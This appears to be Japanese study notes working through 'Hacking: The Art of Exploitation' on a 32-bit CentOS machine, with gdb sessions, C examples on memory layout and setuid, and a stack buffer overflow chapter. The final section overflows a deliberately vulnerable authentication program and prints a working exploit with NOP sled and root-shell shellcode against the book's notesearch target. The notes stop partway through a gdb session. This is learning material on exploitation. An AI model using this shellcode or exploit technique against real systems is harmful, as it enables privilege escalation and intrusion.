Hacking 美しき策謀 Reading

範囲

0x100 はじめに ~ 0x300 プログラムの脆弱性攻撃

環境

リージョン: us-west-2
Racemi-CentOS-6-i386-HVM-20141112085400 (ami-37e5ae07)

CentOS5は保証外だったりでめんどい。
Amazon Linuxの32bitは全部Paravirtual
AWS上でやるにはCentOS6で32bitのHVMを選択するのが良さそう

準備

debuginfo-install glibc-2.17-157.170.amzn1.x86_64は入れておかないとgdbデバッグの際に忠告が出るので予めインストール。

$ vim ~/.ssh/config 
$ ssh 32bit
# cd /home/centos/
# curl -L http://www.oreilly.co.jp/pub/9784873115146/HackingJ.zip > code.zip
# unzip code.zip
# cd Hacking/0x200/
# yum install -y gdb gcc debuginfo-install glibc-2.17-157.170.amzn1.x86_64

0x253: アセンブリ言語

gdbにIntel記法の設定
永続化しない場合は上、する場合は下

# gdb -q
(gdb) set disassembly-flavor intel
(gdb) quit
# echo "set disassembly-flavor intel" > ~/.gdbinit
set disassembly-flavor intel > /root/.gdbinit

gdbを触ってみる。
まずは、メイン関数の逆アセンブルやレジスタの内容。

# gcc -g firstprog.c 
# gdb -q ./a.out 
(gdb) list
1  #include <stdio.h>
2  
3  int main()
4  {
5      int i;
6      for (i = 0; i < 10; i++)       // 10回繰り返す
7      {
8          printf("Hello, world!\n"); // 文字列を出力する
9      }
10     return 0;                      // プログラムが問題なく終了したことをOSに知らせる
(gdb) disassemble main
Dump of assembler code for function main:
   0x080483b4 <+0>:  push   %ebp
   0x080483b5 <+1>:  mov    %esp,%ebp
   0x080483b7 <+3>:  and    $0xfffffff0,%esp
   0x080483ba <+6>:  sub    $0x20,%esp
   0x080483bd <+9>:  movl   $0x0,0x1c(%esp)
   0x080483c5 <+17>: jmp    0x80483d8 <main+36>
   0x080483c7 <+19>: movl   $0x80484b4,(%esp)
   0x080483ce <+26>: call   0x80482f0 <puts@plt>
   0x080483d3 <+31>: addl   $0x1,0x1c(%esp)
   0x080483d8 <+36>: cmpl   $0x9,0x1c(%esp)
   0x080483dd <+41>: jle    0x80483c7 <main+19>
   0x080483df <+43>: mov    $0x0,%eax
   0x080483e4 <+48>: leave  
   0x080483e5 <+49>: ret    
End of assembler dump.
(gdb) break main
Breakpoint 1 at 0x80483bd: file firstprog.c, line 6.
(gdb) run
Starting program: /home/centos/Hacking/0x200/a.out 

Breakpoint 1, main () at firstprog.c:6
6      for (i = 0; i < 10; i++)       // 10回繰り返す
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/centos/Hacking/0x200/a.out 

Breakpoint 1, main () at firstprog.c:6
6      for (i = 0; i < 10; i++)       // 10回繰り返す
(gdb) info register
eax            0xbffff674  -1073744268
ecx            0xa702aace  -1492997426
edx            0x1   1
ebx            0x2c4ff4 2904052
esp            0xbffff5a0  0xbffff5a0
ebp            0xbffff5c8  0xbffff5c8
esi            0x0   0
edi            0x0   0
eip            0x80483bd   0x80483bd <main+9>
eflags         0x286 [ PF SF IF ]
cs             0x73  115
ss             0x7b  123
ds             0x7b  123
es             0x7b  123
fs             0x0   0
gs             0x33  51
(gdb) i r eip
eip            0x80483bd   0x80483bd <main+9>

eipレジスタの値について、いろんな進数で表示

(gdb) x/o 0x80483bd
0x80483bd <main+9>:  03411042307
(gdb) x/x $eip
0x80483bd <main+9>:  0x1c2444c7
(gdb) x/u $eip
0x80483bd <main+9>:  472138951
(gdb) x/t $eip
0x80483bd <main+9>:  00011100001001000100010011000111

eipレジスタを含む連続したアドレスの値を表示 <- 指定したアドレスから始まる複数グループのデータを表示
b,h,w,gで表示単位のサイズを表示

(gdb) x/2x $eip
0x80483bd <main+9>:  0x1c2444c7  0x00000000
(gdb) x/12x $eip
0x80483bd <main+9>:  0x1c2444c7  0x00000000  0x04c711eb  0x0484b424
0x80483cd <main+25>: 0xff1de808  0x4483ffff  0x83011c24  0x091c247c
0x80483dd <main+41>: 0x00b8e87e  0xc9000000  0x909090c3  0x90909090
(gdb) x/8xb $eip
0x80483bd <main+9>:  0xc7  0x44  0x24  0x1c  0x00  0x00  0x00  0x00
(gdb) x/8xh $eip
0x80483bd <main+9>:  0x44c7   0x1c24   0x0000   0x0000   0x11eb   0x04c7   0xb424   0x0484
(gdb) x/8xw $eip
0x80483bd <main+9>:  0x1c2444c7  0x00000000  0x04c711eb  0x0484b424
0x80483cd <main+25>: 0xff1de808  0x4483ffff  0x83011c24  0x091c247c
(gdb) x/4xb $eip
0x80483bd <main+9>:  0xc7  0x44  0x24  0x1c
(gdb) x/4ub $eip
0x80483bd <main+9>:  199   68 36 28
(gdb) x/1xw $eip
0x80483bd <main+9>:  0x1c2444c7
(gdb) x/1uw $eip
0x80483bd <main+9>:  472138951
(gdb) quit
A debugging session is active.

デフォルトは、AT&T記法

(gdb) disassemble main
Dump of assembler code for function main:
   0x080483b4 <+0>:  push   %ebp
   0x080483b5 <+1>:  mov    %esp,%ebp
   0x080483b7 <+3>:  and    $0xfffffff0,%esp
   0x080483ba <+6>:  sub    $0x20,%esp
=> 0x080483bd <+9>:  movl   $0x0,0x1c(%esp)
   0x080483c5 <+17>: jmp    0x80483d8 <main+36>
   0x080483c7 <+19>: movl   $0x80484b4,(%esp)
   0x080483ce <+26>: call   0x80482f0 <puts@plt>
   0x080483d3 <+31>: addl   $0x1,0x1c(%esp)
   0x080483d8 <+36>: cmpl   $0x9,0x1c(%esp)
   0x080483dd <+41>: jle    0x80483c7 <main+19>
   0x080483df <+43>: mov    $0x0,%eax
   0x080483e4 <+48>: leave  
   0x080483e5 <+49>: ret    
End of assembler dump.

Intel記法へ変更(一時的な変更)

(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x080483b4 <+0>:  push   ebp
   0x080483b5 <+1>:  mov    ebp,esp
   0x080483b7 <+3>:  and    esp,0xfffffff0
   0x080483ba <+6>:  sub    esp,0x20
=> 0x080483bd <+9>:  mov    DWORD PTR [esp+0x1c],0x0
   0x080483c5 <+17>: jmp    0x80483d8 <main+36>
   0x080483c7 <+19>: mov    DWORD PTR [esp],0x80484b4
   0x080483ce <+26>: call   0x80482f0 <puts@plt>
   0x080483d3 <+31>: add    DWORD PTR [esp+0x1c],0x1
   0x080483d8 <+36>: cmp    DWORD PTR [esp+0x1c],0x9
   0x080483dd <+41>: jle    0x80483c7 <main+19>
   0x080483df <+43>: mov    eax,0x0
   0x080483e4 <+48>: leave  
   0x080483e5 <+49>: ret    
End of assembler dump.

補足

Amazon Linuxの64bitだと以下のようになる

(gdb) disassemble main
Dump of assembler code for function main:
   0x0000000000400500 <+0>:   push   rbp
   0x0000000000400501 <+1>:   mov    rbp,rsp
   0x0000000000400504 <+4>:   sub    rsp,0x10
   0x0000000000400508 <+8>:   mov    DWORD PTR [rbp-0x4],0x0
   0x000000000040050f <+15>:  jmp    0x40051f <main+31>
   0x0000000000400511 <+17>:  mov    edi,0x4005c0
   0x0000000000400516 <+22>:  call   0x4003e0 <puts@plt>
   0x000000000040051b <+27>:  add    DWORD PTR [rbp-0x4],0x1
=> 0x000000000040051f <+31>:  cmp    DWORD PTR [rbp-0x4],0x9
   0x0000000000400523 <+35>:  jle    0x400511 <main+17>
   0x0000000000400525 <+37>:  mov    eax,0x0
   0x000000000040052a <+42>:  leave  
   0x000000000040052b <+43>:  ret    
End of assembler dump.
(gdb) info register
rax            0x400500 4195584
rbx            0x0   0
rcx            0x400530 4195632
rdx            0x7fffffffe2b0 140737488347824
rsi            0x7fffffffe298 140737488347800
rdi            0x2   2
rbp            0x7fffffffe1b0 0x7fffffffe1b0
rsp            0x7fffffffe1a0 0x7fffffffe1a0
r8             0x7ffff7dd6e80 140737351872128
r9             0x0   0
r10            0x7fffffffe000 140737488347136
r11            0x7ffff7a3ba40 140737348090432
r12            0x400410 4195344
r13            0x7fffffffe290 140737488347792
r14            0x0   0
r15            0x0   0
rip            0x40051f 0x40051f <main+31>
eflags         0x206 [ PF IF ]
cs             0x33  51
ss             0x2b  43
ds             0x0   0
es             0x0   0
fs             0x0   0
gs             0x0   0

レジスタの内容をいろんな表示方法で確認

(gdb) i r $eip
eip            0x80483bd   0x80483bd <main+9>
(gdb) x/i $eip
=> 0x80483bd <main+9>:  mov    DWORD PTR [esp+0x1c],0x0
(gdb) x/3i $eip
=> 0x80483bd <main+9>:  mov    DWORD PTR [esp+0x1c],0x0
   0x80483c5 <main+17>: jmp    0x80483d8 <main+36>
   0x80483c7 <main+19>: mov    DWORD PTR [esp],0x80484b4
(gdb) i r ebp
ebp            0xbffff5c8  0xbffff5c8
(gdb) i r esp
esp            0xbffff5a0  0xbffff5a0
(gdb) x/4xb $esp + 0x1c
0xbffff5bc: 0xf4  0x4f  0x2c  0x00
(gdb) print $esp+0x1c
$1 = (void *) 0xbffff5bc
(gdb) x/xw $1
0xbffff5bc: 0x002c4ff4
(gdb) x/6cb 0x80484b4
0x80484b4 <__dso_handle+4>:   72 'H'   101 'e'  108 'l'  108 'l'  111 'o'  44 ','
(gdb) x/s 0x80484b4
0x80484b4 <__dso_handle+4>:    "Hello, world!"
(gdb) x/5i $eip
=> 0x80483bd <main+9>:  mov    DWORD PTR [esp+0x1c],0x0
   0x80483c5 <main+17>: jmp    0x80483d8 <main+36>
   0x80483c7 <main+19>: mov    DWORD PTR [esp],0x80484b4
   0x80483ce <main+26>: call   0x80482f0 <puts@plt>
   0x80483d3 <main+31>: add    DWORD PTR [esp+0x1c],0x1
(gdb) x/xw $esp
0xbffff5a0: 0x002c31d8
(gdb) nexti
0x080483c5  6      for (i = 0; i < 10; i++)       // 10回繰り返す
(gdb) x/xw $esp
0xbffff5a0: 0x002c31d8
(gdb) x/i $eip
=> 0x80483c5 <main+17>: jmp    0x80483d8 <main+36>
(gdb) nexti
0x080483d8  6      for (i = 0; i < 10; i++)       // 10回繰り返す
(gdb) quit   

0x200 プログラミング

strcpyの呼び出し前後でeipの値が0x80483fdから大きく変わり元に戻り、その後進んでいる。

# echo "set disassembly-flavor intel" > ~/.gdbinit
# gdb -q char_array2
Reading symbols from /home/centos/Hacking/0x200/char_array2...done.
(gdb) list
1   #include <stdio.h> 
2   #include <string.h>
3   
4   int main() { 
5      char str_a[20];
6   
7      strcpy(str_a, "Hello, world!\n"); 
8      printf(str_a);
9   }
(gdb) info breakpoints 
No breakpoints or watchpoints.
(gdb) break 6
Breakpoint 1 at 0x80483fd: file char_array2.c, line 6.
(gdb) break strcpy
Function "strcpy" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 2 (strcpy) pending.
(gdb) break 8
Breakpoint 3 at 0x804841a: file char_array2.c, line 8.
(gdb) run
Starting program: /home/centos/Hacking/0x200/char_array2 

Breakpoint 2, 0x00bef023 in strcpy () from /lib/ld-linux.so.2
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/centos/Hacking/0x200/char_array2 

Breakpoint 2, 0x00bef023 in strcpy () from /lib/ld-linux.so.2
(gdb) i r eip
eip            0xbef023 0xbef023 <strcpy+3>
(gdb) c
Continuing.

Breakpoint 1, main () at char_array2.c:7
7      strcpy(str_a, "Hello, world!\n"); 
(gdb) i r eip
eip            0x80483fd    0x80483fd <main+9>
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/centos/Hacking/0x200/char_array2 

Breakpoint 2, 0x00bef023 in strcpy () from /lib/ld-linux.so.2
(gdb) i r eip
eip            0xbef023 0xbef023 <strcpy+3>
(gdb) c
Continuing.

Breakpoint 1, main () at char_array2.c:7
7      strcpy(str_a, "Hello, world!\n"); 
(gdb) i r eip
eip            0x80483fd    0x80483fd <main+9>
(gdb) x/5i $eip
=> 0x80483fd <main+9>:  mov    eax,0x80484f4
   0x8048402 <main+14>: mov    DWORD PTR [esp+0x8],0xf
   0x804840a <main+22>: mov    DWORD PTR [esp+0x4],eax
   0x804840e <main+26>: lea    eax,[esp+0x1c]
   0x8048412 <main+30>: mov    DWORD PTR [esp],eax
(gdb) c
Continuing.

Breakpoint 3, main () at char_array2.c:8
8      printf(str_a);
(gdb) i r eip
eip            0x804841a    0x804841a <main+38>
(gdb) x/5i $eip
=> 0x804841a <main+38>: lea    eax,[esp+0x1c]
   0x804841e <main+42>: mov    DWORD PTR [esp],eax
   0x8048421 <main+45>: call   0x8048324 <printf@plt>
   0x8048426 <main+50>: leave  
   0x8048427 <main+51>: ret     

ポインタを使った場合のメモリアドレスの使われ方について調査

# gcc -g -o pointer pointer.c
# gdb -q ./pointer
Reading symbols from /home/centos/Hacking/0x200/pointer...done.
(gdb) list
1   #include <stdio.h> 
2   #include <string.h>
3   
4   int main() { 
5      char str_a[20];  // 20個の要素を持つ文字の配列
6      char *pointer;   // 文字の配列を指すポインタ
7      char *pointer2;  // 同じく、文字の配列を指すポインタ
8   
9      strcpy(str_a, "Hello, world!\n");
10     pointer = str_a; // 1つ目のポインタが配列の先頭を指すように設定する
(gdb)      
11     printf(pointer); // 1つ目のポインタが指している文字列を表示する
12  
13     pointer2 = pointer + 2; // 2つ目のポインタは2バイト先を指すように設定する
14     printf(pointer2);       // 2つ目のポインタが指している文字列を表示する
15     strcpy(pointer2, "y you guys!\n"); // その場所に他の文字列をコピーする
16     printf(pointer);        // 1つ目のポインタが指している文字列を表示する
17  }
(gdb) break 11
Breakpoint 1 at 0x8048422: file pointer.c, line 11.
(gdb) run
Starting program: /home/centos/Hacking/0x200/pointer 

Breakpoint 1, main () at pointer.c:11
11     printf(pointer); // 1つ目のポインタが指している文字列を表示する
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/centos/Hacking/0x200/pointer 

Breakpoint 1, main () at pointer.c:11
11     printf(pointer); // 1つ目のポインタが指している文字列を表示する
(gdb) x/xw pointer
0xbffff5a4: 0x6c6c6548              <- 0x6c6c6548はリトリエンディアンの16進数表記でhelloという文字列を表している
(gdb) x/s pointer
0xbffff5a4:  "Hello, world!\n"       <- str_aに"Hello, world!\n"の値がコピーされて、pointerのstr_aの値を参照している。
(gdb) x/xw &pointer
0xbffff5b8: 0xbffff5a4               <- pointerが格納されているアドレス
(gdb) print &pointer
$1 = (char **) 0xbffff5b8            <- pointerが格納されているアドレス
(gdb) print pointer
$2 = 0xbffff5a4 "Hello, world!\n"    <- pointerは0xbffff5a4のアドレスに置かれた"Hello, world!\n"という値を指している。
# gcc -g -o addressof addressof.c 
# gdb -q addressof
(gdb) list
1   #include <stdio.h>
2   
3   int main() { 
4      int int_var = 5; 
5      int *int_ptr;
6   
7      int_ptr = &int_var; // int_varのアドレスをint_ptrに設定する
8   }
(gdb) 
Line number 9 out of range; addressof.c has 8 lines.
(gdb) break 8
Breakpoint 1 at 0x80483a7: file addressof.c, line 8.
(gdb) run
Starting program: /home/centos/Hacking/0x200/addressof 

Breakpoint 1, main () at addressof.c:8
8   }
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) print int_var
$1 = 5                     <- int_varの指している値は5
(gdb) print &int_var
$2 = (int *) 0xbffff5b0    <- int_varの指しているアドレスは0xbffff5b0
(gdb) print int_ptr
$3 = (int *) 0xbffff5b0    <- int_ptrの指しているアドレスは0xbffff5b0
(gdb) print &int_ptr
$4 = (int **) 0xbffff5b4   <- int_ptrの配置されているアドレスは0xbffff5b4
(gdb) print *int_ptr
$5 = 5                     <- int_ptrの指している値は、指しているint_varのアドレス 0xbffff5b0 先の値の5

0x267: 変数のスコープ

静的変数はそれぞれの関数コンテキスト内の局所的な変数として扱われるため、0x8049738や0x804973cのように異なるメモリアドレスとなっており別の変数
局所アドレスは、0xbf8cbcdcという高位のアドレス。静的変数は、0x8049738や0x804973cの低位のアドレス。
こういう着眼点がHackingで大事な視点。この後、詳細説明。

# gcc -g -o static2 static2.c
# cat static2.c
#include <stdio.h>

void function() { // functionは独自のコンテキストを持つ
   int var = 5; 
   static int static_var = 5; // 静的変数の初期化

   printf("\t[function内] var @ %p = %d\n", &var, var); 
   printf("\t[function内] static_var @ %p = %d\n", &static_var, static_var); 
   var++;          // varの値をインクリメント
   static_var++;   // static_varの値をインクリメント
}

int main() { // mainは独自のコンテキストを持つ
   int i;
   static int static_var = 1337; // 独立したコンテキスト内における独立した静的変数

   for(i=0; i < 5; i++) { // 5回繰り返す
      printf("[main内] static_var @ %p = %d\n", &static_var, static_var); 
      function(); // functionを呼び出す
   }
}
# ./static2  
[main内] static_var @ 0x8049738 = 1337
    [function内] var @ 0xbf8cbcdc = 5
    [function内] static_var @ 0x804973c = 5
[main内] static_var @ 0x8049738 = 1337
    [function内] var @ 0xbf8cbcdc = 5
    [function内] static_var @ 0x804973c = 6
[main内] static_var @ 0x8049738 = 1337
    [function内] var @ 0xbf8cbcdc = 5
    [function内] static_var @ 0x804973c = 7
[main内] static_var @ 0x8049738 = 1337
    [function内] var @ 0xbf8cbcdc = 5
    [function内] static_var @ 0x804973c = 8
[main内] static_var @ 0x8049738 = 1337
    [function内] var @ 0xbf8cbcdc = 5
    [function内] static_var @ 0x804973c = 9

0x270: メモリのセグメント化

初期化を行っているglobal_initialized_varとstatic_initialized_varのメモリアドレスは低位に、つまりデータセグメント
初期化を行っていないstatic_varとglobal_varはbssセグメント。データセグメントよりも少し高位
ヒープを指すポインタはヒープセグメントでbssセグメントよりも少し高位
静的変数であるmain()とfunction()のstatic_varのメモリアドレスは非常に大きなアドレス。スタックセグメントは、メモリアドレスの高位からヒープセグメントのある低位に向かって成長していく。

# gcc -o memory_segments memory_segments.c 
# cat memory_segments.c
#include <stdio.h> 

int global_var;
int global_initialized_var = 5;

void function() { // これはただのデモ用関数
   int stack_var; // この変数はmain()内の変数と同じ名前となっている

   printf("function()のstack_varは、アドレス0x%08xにあります。\n", &stack_var);
}

int main() { 
   int stack_var; // function()内と同じ名前の変数
   static int static_initialized_var = 5; 
   static int static_var; 
   int *heap_var_ptr;

   heap_var_ptr = (int *) malloc(4);

   // 以下の変数はデータセグメント内に確保される
   printf("global_initialized_varはアドレス0x%08xにあります。\n",
         &global_initialized_var); 
   printf("static_initialized_varはアドレス0x%08xにあります。\n\n",
         &static_initialized_var);

   // 以下の変数はbssセグメント内に確保される
   printf("static_varはアドレス0x%08xにあります。\n", &static_var); 
   printf("global_varはアドレス0x%08xにあります。\n\n", &global_var);

   // 以下のポインタ変数はヒープセグメント内を指し示す
   printf("heap_var_ptrはアドレス0x%08xを指しています。\n\n", heap_var_ptr);

   // 以下の変数はスタックセグメント内に確保される
   printf("stack_varはアドレス0x%08xにあります。\n", &stack_var); 
   function();
}
# ./memory_segments 
global_initialized_varはアドレス0x080498b0にあります。
static_initialized_varはアドレス0x080498b4にあります。

static_varはアドレス0x080498c0にあります。
global_varはアドレス0x080498c4にあります。

heap_var_ptrはアドレス0x081a3008を指しています。

stack_varはアドレス0xbfdc8e28にあります。
function()のstack_varは、アドレス0xbfdc8dfcにあります。

0x283: ユーザーID

Amazon Linux AMIでsetuid権限を設定しても実行uidが0にならず

$ gcc -o uid_demo uid_demo.c 
$ cat uid_demo.c
#include <stdio.h>

int main() { 
   printf("実uid: %d\n", getuid()); 
   printf("実効uid: %d\n", geteuid());
}
$ ls -l uid_demo
-rwxrwxr-x 1 ec2-user ec2-user 6981 Feb 13 15:51 uid_demo
$ ./uid_demo 
実uid: 500
実効uid: 500
$ sudo chmod u+s ./uid_demo
$ ls -l uid_demo
-rwsrwxr-x 1 ec2-user ec2-user 6981 Feb 13 15:51 uid_demo
$ ./uid_demo 
実uid: 500
実効uid: 500                                                     <- root権限で実行している場合0になって欲しい
$ id ec2-user
uid=500(ec2-user) gid=500(ec2-user) groups=500(ec2-user),10(wheel)
$ id root
uid=0(root) gid=0(root) groups=0(root)

0x300 プログラムの脆弱性攻撃

バッファオーバーフロー

0x321: スタック上でのバッファオーバーフロー攻撃

$ cat auth_overflow.c
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h>

int check_authentication(char *password) { 
   int auth_flag = 0; 
   char password_buffer[16];

   strcpy(password_buffer, password);

   if(strcmp(password_buffer, "brillig") == 0) 
      auth_flag = 1;
   if(strcmp(password_buffer, "outgrabe") == 0) 
      auth_flag = 1;

   return auth_flag;
}

int main(int argc, char *argv[]) { 
   if(argc < 2) {
      printf("使用方法: %s <パスワード>\n", argv[0]); 
      exit(0);
   }
   if(check_authentication(argv[1])) {
      printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n"); 
      printf("   アクセスを許可します。\n"); 
      printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
   } else { 
      printf("\nアクセスを拒否しました。\n");
   }
}
# gcc -g -o auth_overflow auth_overflow.c
# ./auth_overflow 
使用方法: ./auth_overflow <パスワード>
# ./auth_overflow test

アクセスを拒否しました。
# ./auth_overflow billing

アクセスを拒否しました。
# ./auth_overflow billig

アクセスを拒否しました。
# ./auth_overflow brillig

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
# ./auth_overflow outgrabe

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
# ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Segmentation fault (core dumped)
# ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-
Segmentation fault (core dumped)
# gdb -q auth_overflow
Reading symbols from /home/centos/Hacking/0x300/auth_overflow...done.
(gdb) list 1
1   #include <stdio.h> 
2   #include <stdlib.h> 
3   #include <string.h>
4   
5   int check_authentication(char *password) { 
6      int auth_flag = 0; 
7      char password_buffer[16];
8   
9      strcpy(password_buffer, password);
10  
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/centos/Hacking/0x300/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program received signal SIGSEGV, Segmentation fault.
main (argc=Cannot access memory at address 0xbf004149
) at auth_overflow.c:31
31  }
Missing separate debuginfos, use: debuginfo-install glibc-2.12-1.209.el6_9.2.i686
(gdb) break 9
Breakpoint 1 at 0x8048491: file auth_overflow.c, line 9.
(gdb) break 16
Breakpoint 2 at 0x80484df: file auth_overflow.c, line 16.
(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/centos/Hacking/0x300/auth_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentication (password=0xbffff78f 'A' <repeats 30 times>) at auth_overflow.c:9
9      strcpy(password_buffer, password);
(gdb) x/s password_buffer 
0xbffff54c:  "@\203\004\b"                                           <- ゴミデータが入っているだけ
(gdb) x/x &auth_flag
0xbffff55c: 0x00
(gdb) print 0xbffff55c - 0xbffff54c
$1 = 16                                                              <- password_bufferとauth_flagのアドレス位置の距離が16バイトなので17文字以上でバッファーオーバーフローを起こせることになる。
(gdb) x/16xw password_buffer
0xbffff54c: 0x08048340  0x01e00000  0x08049868  0xbffff588
0xbffff55c: 0x00000000  0x002c31d8  0x08048284  0xbffff588
0xbffff56c: 0x08048525  0xbffff78f  0x080483d0  0x0804857b
0xbffff57c: 0x002c4ff4  0x08048570  0x00000000  0xbffff608
(gdb) continue
Continuing.

Breakpoint 2, check_authentication (password=0xbffff78f 'A' <repeats 30 times>) at auth_overflow.c:16
16     return auth_flag;
(gdb) x/s password_buffer 
0xbffff54c:  'A' <repeats 30 times>
(gdb) x/x &auth_flag
0xbffff55c: 0x41
(gdb) x/16xw password_buffer
0xbffff54c: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffff55c: 0x41414141  0x41414141  0x41414141  0xbf004141
0xbffff56c: 0x08048525  0xbffff78f  0x080483d0  0x0804857b
0xbffff57c: 0x002c4ff4  0x08048570  0x00000000  0xbffff608
(gdb) x/4cb &auth_flag
0xbffff55c: 65 'A'  65 'A'  65 'A'  65 'A'
(gdb) x/dx &auth_flag
0xbffff55c: 0x41
(gdb) x/dw &auth_flag
0xbffff55c: 1094795585

以下の宣言順序を入れ替えるだけで失敗するようになる。メモリセグメントの構造を考えると当然。

int auth_flag = 0; 
char password_buffer[16];
$ diff -c auth_overflow.c auth_overflow2.c 
*** auth_overflow.c 2018-02-13 11:46:58.390897394 +0000
--- auth_overflow2.c    2018-02-13 11:46:58.650894277 +0000
***************
*** 3,10 ****
  #include <string.h>

  int check_authentication(char *password) { 
-    int auth_flag = 0; 
     char password_buffer[16];

     strcpy(password_buffer, password);

--- 3,10 ----
  #include <string.h>

  int check_authentication(char *password) { 
     char password_buffer[16];
+    int auth_flag = 0; 

     strcpy(password_buffer, password);

0x330: bashを用いた実験

$ perl -e 'print "A" x 20;'
AAAAAAAAAAAAAAAAAAAA
$ perl -e 'print "\x41" x 20;'
AAAAAAAAAAAAAAAAAAAA
$ perl -e 'print "A" x 20 . "BCD" . "\x61\x66\x67\x69" x 2 ."Z";'
AAAAAAAAAAAAAAAAAAAABCDafgiafgiZ
$ $(perl -e 'print "uname";');
Linux
$ una`perl -e 'print "m";'`e
Linux

先程のバッファオーバーフロー攻撃に利用

# cd ../0x300/
# ./auth_overflow $(perl -e 'print "A" x 16;')

アクセスを拒否しました。
# ./auth_overflow $(perl -e 'print "A" x 17;')

-=-=-=-=-=-=-=-=-=-=-=-=-=-
   アクセスを許可します。
-=-=-=-=-=-=-=-=-=-=-=-=-=-

戻りアドレス上書きするテクニック

exploit_notesearch.c実行後、bufferの内容は、NOPスレッド | シェルコード | 戻りアドレスの繰り返し

  1. 戻りアドレスを的確な場所に書き込むことは難しい
  2. 戻りアドレスを複数回繰り返す
  3. この戻りアドレスが指している先は、同じbufferないに格納されているシェルコードの先頭でないといけない 
  4. スタックは動的に変化するため、アドレスを予測することは難しい
  5. NOP(No Opeation)命令というアセンブリ命令を使用 → 誤差をごまかす詰め物として利用
  6. x86アーキテクチャにおけるnop命令は、16進数の0x90
# cat exploit_notesearch.c
#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 
char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
"\xe1\xcd\x80";

int main(int argc, char *argv[]) { 
   unsigned int i, *ptr, ret, offset=270; 
   char *command, *buffer;

   command = (char *) malloc(200); 
   bzero(command, 200); // 新たなメモリ領域をゼロクリアする。

   strcpy(command, "./notesearch \'"); // コマンドバッファを開始する。
   buffer = command + strlen(command); // バッファの終端を設定する。

   if(argc > 1) // オフセットを設定する。
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // 戻りアドレスを設定する。

   for(i=0; i < 160; i+=4) // 戻りアドレスでバッファを埋める。
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // NOPスレッドを構築する。
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

   strcat(command, "\'");

   system(command); // 脆弱性攻撃を実行する。
   free(command);
}
# gcc -g exploit_notesearch.c
# gdb -q ./a.out 
Reading symbols from /home/centos/Hacking/0x300/a.out...done.
(gdb) list 1
1  #include <stdio.h> 
2  #include <stdlib.h> 
3  #include <string.h> 
4  char shellcode[]= "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
5  "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
6  "\xe1\xcd\x80";
7  
8  int main(int argc, char *argv[]) { 
9     unsigned int i, *ptr, ret, offset=270; 
10    char *command, *buffer;
(gdb) 
11 
12    command = (char *) malloc(200); 
13    bzero(command, 200); // 新たなメモリ領域をゼロクリアする。
14 
15    strcpy(command, "./notesearch \'"); // コマンドバッファを開始する。
16    buffer = command + strlen(command); // バッファの終端を設定する。
17 
18    if(argc > 1) // オフセットを設定する。
19       offset = atoi(argv[1]);
20 
(gdb) 
21    ret = (unsigned int) &i - offset; // 戻りアドレスを設定する。
22 
23    for(i=0; i < 160; i+=4) // 戻りアドレスでバッファを埋める。
24       *((unsigned int *)(buffer+i)) = ret;
25    memset(buffer, 0x90, 60); // NOPスレッドを構築する。
26    memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
27 
28    strcat(command, "\'");
29 
30    system(command); // 脆弱性攻撃を実行する。
(gdb) break 25
Note: breakpoint 1 also set at pc 0x8048600.
Breakpoint 4 at 0x8048600: file exploit_notesearch.c, line 25.
(gdb) break 26
Note: breakpoint 2 also set at pc 0x804861c.
Breakpoint 5 at 0x804861c: file exploit_notesearch.c, line 26.
(gdb) break 27
Note: breakpoint 3 also set at pc 0x804863b.
Breakpoint 6 at 0x804863b: file exploit_notesearch.c, line 27.
(gdb) run
Starting program: /home/centos/Hacking/0x300/a.out 

Breakpoint 1, main (argc=1, argv=0xbffff674) at exploit_notesearch.c:25
25    memset(buffer, 0x90, 60); // NOPスレッドを構築する。
(gdb) x/40x buffer
